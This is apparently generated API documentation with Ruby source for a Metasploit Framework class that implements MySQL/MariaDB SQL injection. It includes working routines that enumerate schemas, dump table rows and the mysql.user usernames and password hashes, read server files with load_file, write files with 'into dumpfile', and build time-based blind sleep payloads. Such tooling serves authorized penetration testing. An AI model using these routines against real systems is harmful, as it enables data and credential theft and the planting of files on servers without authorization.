Class: Msf::Exploit::SQLi::MySQLi::Common

Inherits:
Common
  • Object
show all
Defined in:
lib/msf/core/exploit/sqli/mysqli/common.rb

Overview

MySQL/MariaDB-specific SQL injection implementation.

Constant Summary collapse

ENCODERS =

Encoders supported by MySQL/MariaDB Keys are MySQL/MariaDB function names, values are decoding procs in Ruby

{
  base64: {
    encode: 'replace(to_base64(^DATA^), \'\\n\', \'\')',
    decode: proc { |data| Base64.decode64(data) }
  },
  hex: {
    encode: 'hex(^DATA^)',
    decode: proc { |data| Rex::Text.hex_to_raw(data) }
  }
}.freeze

Instance Attribute Summary

Attributes inherited from Common

#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length

Attributes included from Rex::Ui::Subscriber::Input

#user_input

Attributes included from Rex::Ui::Subscriber::Output

#user_output

Instance Method Summary collapse

Methods inherited from Common

#raw_run_sql, #run_sql

Methods included from Module::UI

#init_ui

Methods included from Module::UI::Message

#print_error, #print_good, #print_prefix, #print_status, #print_warning

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Module::UI::Line

#print_line, #print_line_prefix

Methods included from Module::UI::Line::Verbose

#vprint_line

Methods included from Rex::Ui::Subscriber

#copy_ui, #init_ui, #reset_ui

Methods included from Rex::Ui::Subscriber::Input

#gets

Methods included from Rex::Ui::Subscriber::Output

#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning

Constructor Details

#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common

See SQLi::Common#initialize



29
30
31
32
33
34
35
36
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 29

def initialize(datastore, framework, user_output, opts = {}, &query_proc)
  if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
    # if it's a String or a Symbol, use a predefined encoder if it exists
    opts[:encoder] = opts[:encoder].downcase.intern
    opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
  end
  super
end

Instance Method Details

#current_databaseObject

Query the current database name

@return [String] The name of the current database


50
51
52
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 50

def current_database
  call_function('database()')
end

#current_userObject

Query the current user

@return [String] The username of the current user


58
59
60
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 58

def current_user
  call_function('user()')
end

#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object

Query the given columns of the records of the given table, that satisfy an optional condition

@param table [String]  The name of the table to query
@param columns [Array] The names of the columns to query
@param condition [String] An optional condition, return only the rows satisfying it
@param num_limit [Integer] An optional maximum number of results to return
@return [Array] An array, where each element is an array of strings representing a row of the results


132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 132

def dump_table_fields(table, columns, condition = '', num_limit = 0)
  return '' if columns.empty?

  one_column = columns.length == 1
  if one_column
    columns = "ifnull(#{columns.first},'#{@null_replacement}')"
    columns = @encoder[:encode].sub('^DATA^', columns) if @encoder
  else
    columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col|
      col = "ifnull(#{col},'#{@null_replacement}')"
      @encoder ? @encoder[:encode].sub('^DATA^', col) : col
    end.join(',') + ')'
  end
  unless condition.empty?
    condition = ' where ' + condition
  end
  num_limit = num_limit.to_i
  limit = num_limit > 0 ? ' limit ' + num_limit.to_s : ''
  retrieved_data = nil
  if @safe
    # no group_concat, leak one row at a time
    row_count = run_sql("select count(1) from #{table}#{condition}").to_i
    num_limit = row_count if num_limit == 0 || row_count < num_limit
    retrieved_data = num_limit.times.map do |current_row|
      if @truncation_length
        truncated_query("select mid(cast(#{columns} as binary),^OFFSET^,#{@truncation_length}) from " \
        "#{table}#{condition} limit #{current_row},1")
      else
        run_sql("select cast(#{columns} as binary) from #{table}#{condition} limit #{current_row},1")
      end
    end
  elsif num_limit > 0
    # if limit > 0, an alias will be necessary
    alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
    if @truncation_length
      retrieved_data = truncated_query('select mid(group_concat(' \
      "#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''}),"\
      "^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as binary) #{alias1} from #{table}"\
      "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
    else
      retrieved_data = run_sql("select group_concat(#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})"\
      " from (select cast(#{columns} as binary) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
    end
  elsif @truncation_length
    retrieved_data = truncated_query('select mid(group_concat(' \
      "cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})," \
      "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',')
  else
    retrieved_data = run_sql("select group_concat(cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})" \
    " from #{table}#{condition}#{limit}").split(@concat_separator || ',')
  end
  retrieved_data.map do |row|
    row = row.split(@second_concat_separator)
    @encoder ? row.map { |x| @encoder[:decode].call(x) } : row
  end
end

#enum_database_encoding(database = 'database()') ⇒ Object

Query the character encoding of the given database

@param database [String] the name of a database, or a function call, defaults to the current database
@return [String] The character encoding of the chosen database


75
76
77
78
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 75

def enum_database_encoding(database = 'database()')
  dump_table_fields('information_schema.schemata', %w[DEFAULT_CHARACTER_SET_NAME],
                    "SCHEMA_NAME=#{database.include?('(') ? database : "'" + database + "'"}").flatten[0]
end

#enum_database_namesObject

Query the names of all the existing databases

@return [Array] An array of Strings, the database names


66
67
68
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 66

def enum_database_names
  dump_table_fields('information_schema.schemata', %w[schema_name]).flatten
end

#enum_dbms_usersArray

Query the MySQL/MariaDB users (their username and password), this might require elevated privileges.

Returns:

  • (Array)

    an array of arrays representing rows, where each row contains two strings, the username and password



104
105
106
107
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 104

def enum_dbms_users
  # might require elevated privileges
  dump_table_fields('mysql.user', %w[User Password])
end

#enum_table_columns(table_name) ⇒ Object

Query the column names of the given table in the given database

@param table_name [String] the name of the table of which you want to query the column names, eg: database.table
@return [Array] An array of Strings, the column names in the given table belonging to the given database


114
115
116
117
118
119
120
121
122
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 114

def enum_table_columns(table_name)
  table_schema_condition = ''
  if table_name.include?('.')
    database, table_name = table_name.split('.')
    table_schema_condition = " and table_schema=#{database.include?('(') ? database : "'" + database + "'"}"
  end
  dump_table_fields('information_schema.columns', %w[column_name],
                    "table_name='#{table_name}'#{table_schema_condition}").flatten
end

#enum_table_names(database = 'database()') ⇒ Object

Query the names of the tables in a given database

@param database [String] the name of a database, or a function call, defaults to the current database
@return [Array] An array of Strings, the table names in the given database


85
86
87
88
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 85

def enum_table_names(database = 'database()')
  dump_table_fields('information_schema.tables', %w[table_name],
                    "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end

#enum_view_names(database = 'database()') ⇒ Object

Query the names of the views in a given database

@param database [String] the name of a database, or a function call, defaults to the current database
@return [Array] An array of Strings, the view names in the given database


95
96
97
98
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 95

def enum_view_names(database = 'database()')
  dump_table_fields('information_schema.views', %w[table_name],
                    "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end

#read_from_file(fpath, binary = false) ⇒ String

Attempt reading from a file on the filesystem, requires having the FILE privilege

Parameters:

  • fpath (String)

    The path of the file to read

  • binary (Boolean) (defaults to: false)

    Whether the target file is a binary one or not

Returns:

  • (String)

    The content of the file if reading was successful



221
222
223
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 221

def read_from_file(fpath, binary = false)
  call_function("load_file('#{fpath}')")
end

#sleep_callString

Returns the SQL expression used to introduce a time delay in time-based blind injections. Defaults to sleep(SqliDelay). Subclasses can override this to use alternatives like BENCHMARK().

Returns:

  • (String)

    The SQL delay expression



230
231
232
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 230

def sleep_call
  "sleep(#{datastore['SqliDelay']})"
end

#test_vulnerableBoolean

Checks if the target is vulnerable (if the SQL injection is working fine), by checking that queries that should return known results return the results we expect from them

Returns:

  • (Boolean)

    Whether the SQL injection check was successful



194
195
196
197
198
199
200
201
202
203
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 194

def test_vulnerable
  random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
  random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
  query_string = "'#{random_string}'"
  query_string = @encoder[:encode].sub('^DATA^', query_string) if @encoder
  output = run_sql("select #{query_string}")
  return false if output.nil?

  (@encoder ? @encoder[:decode].call(output) : output) == random_string
end

#versionObject

Query the MySQL/MariaDB version

@return [String] The MySQL/MariaDB version in use


42
43
44
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 42

def version
  call_function('version()')
end

#write_to_file(fpath, data) ⇒ void

This method returns an undefined value.

Attempt writing data to the file at the given path

Parameters:

  • fpath (String)

    The path of the file to write to

  • data (String)

    The data to write to the given file



211
212
213
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 211

def write_to_file(fpath, data)
  raw_run_sql("select '#{data}' into dumpfile '#{fpath}'")
end